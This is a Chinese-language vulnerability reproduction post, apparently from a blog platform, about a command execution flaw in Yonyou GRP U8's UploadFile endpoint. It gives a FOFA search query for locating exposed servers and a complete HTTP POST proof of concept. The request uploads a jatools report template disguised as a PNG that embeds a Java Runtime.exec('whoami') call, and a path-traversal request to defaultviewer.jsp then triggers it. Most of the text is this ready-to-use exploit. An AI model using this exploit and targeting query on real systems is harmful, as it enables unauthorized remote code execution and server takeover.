用友 GRP U8 UploadFile 命令执行

简介: 用友 GRP U8 UploadFile 存在命令执行漏洞,攻击者可通过该漏洞获取服务器敏感信息以及接管服务器。

一、资产发现


FOFA: app="用友-GRP-U8" && port="88"

image.png

二、漏洞复现


POC如下


POST /UploadFile HTTP/1.1

Host: XXX.XX.XX.XX:88

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8

Cookie: JSESSIONID=18F403D91DD537D8DAA24D5A4B45C818

Connection: close

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryicNNJvjQHmXpnjFc

Content-Length: 3491

 

------WebKitFormBoundaryicNNJvjQHmXpnjFc

Content-Disposition: form-data; name="input_localfile"; filename="demodemo.png"

Content-Type: application/octet-stream

 

<jatools Class="jatools.ReportDocument" Name="jatools report template">

<VariableContext>

</VariableContext>

<Page>

<Name>panel</Name>

<Children ItemClass="PagePanel">

<Item0>

<Name>header</Name>

<Width>753</Width>

<Height>80</Height>

<Children ItemClass="Label">

<Item0>

<ForeColor>-65536</ForeColor>

<X>41</X>

<Y>15</Y>

<Width>362</Width>

<Height>62</Height>

</Item0>

</Children>

<Type>100</Type>

</Item0>

<Item1>

<Name>footer</Name>

<Y>802</Y>

<Width>753</Width>

<Height>280</Height>

<Type>103</Type>

</Item1>

<Item2>

<Name>body</Name>

<Y>80</Y>

<Width>753</Width>

<Height>722</Height>

<Children ItemClass="Table">

<Item0>

<NodePath>学生表</NodePath>

<X>115</X>

<Y>77</Y>

<Children>

<Item0 Class="Label">

<Text>家庭成员</Text>

<Border/>

<PrintStyle>united-level:1;</PrintStyle>

<Cell>

<Row>3</Row>

<Col>0</Col>

<RowSpan>2</RowSpan>

</Cell>

</Item0>

<Item1 Class="Label">

<Text>关系</Text>

<BackColor>-4144897</BackColor>

<Border/>

<Cell>

<Row>3</Row>

<Col>1</Col>

</Cell>

</Item1>

<Item2 Class="Label">

<Text>性别</Text>

<BackColor>-4144897</BackColor>

<Border/>

<Cell>

<Row>3</Row>

<Col>2</Col>

</Cell>

</Item2>

<Item3 Class="Label">

<Text>年龄</Text>

<BackColor>-4144897</BackColor>

<Border/>

<Cell>

<Row>3</Row>

<Col>3</Col>

</Cell>

</Item3>

<Item4 Class="Label">

<Text>得分</Text>

<Border/>

<Cell>

<Row>2</Row>

<Col>0</Col>

</Cell>

</Item4>

<Item5 Class="Label">

<Text>性别</Text>

<Border/>

<Cell>

<Row>1</Row>

<Col>0</Col>

</Cell>

</Item5>

<Item6 Class="Label">

<Text>姓名</Text>

<Border/>

<Cell>

<Row>0</Row>

<Col>0</Col>

</Cell>

</Item6>

<Item7 Class="Text">

<Variable>=$学生表</Variable>

<Border/>

<Cell>

<Row>0</Row>

<Col>1</Col>

<ColSpan>3</ColSpan>

</Cell>

</Item7>

<Item8 Class="Text">

<Variable>=$学生表.value()</Variable>

<Border/>

<Cell>

<Row>1</Row>

<Col>1</Col>

<ColSpan>3</ColSpan>

</Cell>

</Item8>

<Item9 Class="Text">

<Variable>=$学生表.getName()</Variable>

<Border/>

<Cell>

<Row>2</Row>

<Col>1</Col>

<ColSpan>3</ColSpan>

</Cell>

</Item9>

<Item10 Class="RowPanel">

<Cell>

<Row>4</Row>

<Col>0</Col>

<ColSpan>4</ColSpan>

</Cell>

<Children ItemClass="Text">

<Item0>

<Variable></Variable>

<Border/>

<Cell>

<Row>4</Row>

<Col>3</Col>

</Cell>

</Item0>

<Item1>

<Variable></Variable>

<Border/>

<Cell>

<Row>4</Row>

<Col>2</Col>

</Cell>

</Item1>

<Item2>

<Variable>;</Variable>

<Border/>

<Cell>

<Row>4</Row>

<Col>1</Col>

</Cell>

</Item2>

</Children>

<NodePath>成员</NodePath>

</Item10>

</Children>

<ColumnWidths>60,60,60,60</ColumnWidths>

<RowHeights>20,20,20,20,20</RowHeights>

</Item0>

</Children>

<Type>102</Type>

</Item2>

</Children>

</Page>

<NodeSource>

<Children ItemClass="ArrayNodeSource">

<Item0>

<Children ItemClass="ArrayNodeSource">

<Item0>

<TagName>成员</TagName>

<Expression>$.value()</Expression>

</Item0>

</Children>

<TagName>学生表</TagName>

<Expression>new Object[]{new BufferedReader(new InputStreamReader(java.lang.Runtime.getRuntime().exec("whoami").getInputStream())).readLine()}</Expression>

</Item0>

</Children>

</NodeSource>

</jatools>

------WebKitFormBoundaryicNNJvjQHmXpnjFc

Content-Disposition: form-data; name="type"

 

1

------WebKitFormBoundaryicNNJvjQHmXpnjFc—


三、复现结果


可以看到返回包回显为Success

image.png

然后访问http://x.x.x.x/u8qx/tools/defaultviewer.jsp?file=../../upload/demodemo.png

image.png

目录
相关文章
|
8月前
|
移动开发 前端开发
基于若依的ruoyi-nbcio流程管理系统修复自定义业务表单的收回功能
基于若依的ruoyi-nbcio流程管理系统修复自定义业务表单的收回功能
73 1
|
数据库
TortoiseSVN 执行清理( cleanUp )失败的解决方案
目前我们这边的内网代码是通过 TortoiseSVN 进行版本管理的,平时用着也挺好的,没碰到什么大问题。
710 0
TortoiseSVN 执行清理( cleanUp )失败的解决方案
|
6月前
|
监控 Java Serverless
函数计算产品使用问题之对于OSS打包的zip的保存目录,该如何操作
阿里云Serverless 应用引擎(SAE)提供了完整的微服务应用生命周期管理能力,包括应用部署、服务治理、开发运维、资源管理等功能,并通过扩展功能支持多环境管理、API Gateway、事件驱动等高级应用场景,帮助企业快速构建、部署、运维和扩展微服务架构,实现Serverless化的应用部署与运维模式。以下是对SAE产品使用合集的概述,包括应用管理、服务治理、开发运维、资源管理等方面。
|
8月前
|
移动开发 前端开发
基于若依的ruoyi-nbcio流程管理系统修复自定义业务表单的取消终止功能
基于若依的ruoyi-nbcio流程管理系统修复自定义业务表单的取消终止功能
75 3
|
监控
Parallels Desktop 17.1.1 操作失败(执行该操作失败) 解决方案
Parallels Desktop 17.1.1 操作失败(执行该操作失败) 解决方案乳请看下文
157 1
|
安全 Linux Windows
命令执行之文件落地利用总结
命令执行之文件落地利用总结
158 0
小技巧 - 无需微云会员满速下载文件方法
小技巧 - 无需微云会员满速下载文件方法
445 0
小技巧 - 无需微云会员满速下载文件方法
金蝶BOS开发代码调用过程
金蝶BOS开发代码调用过程
176 0

热门文章

最新文章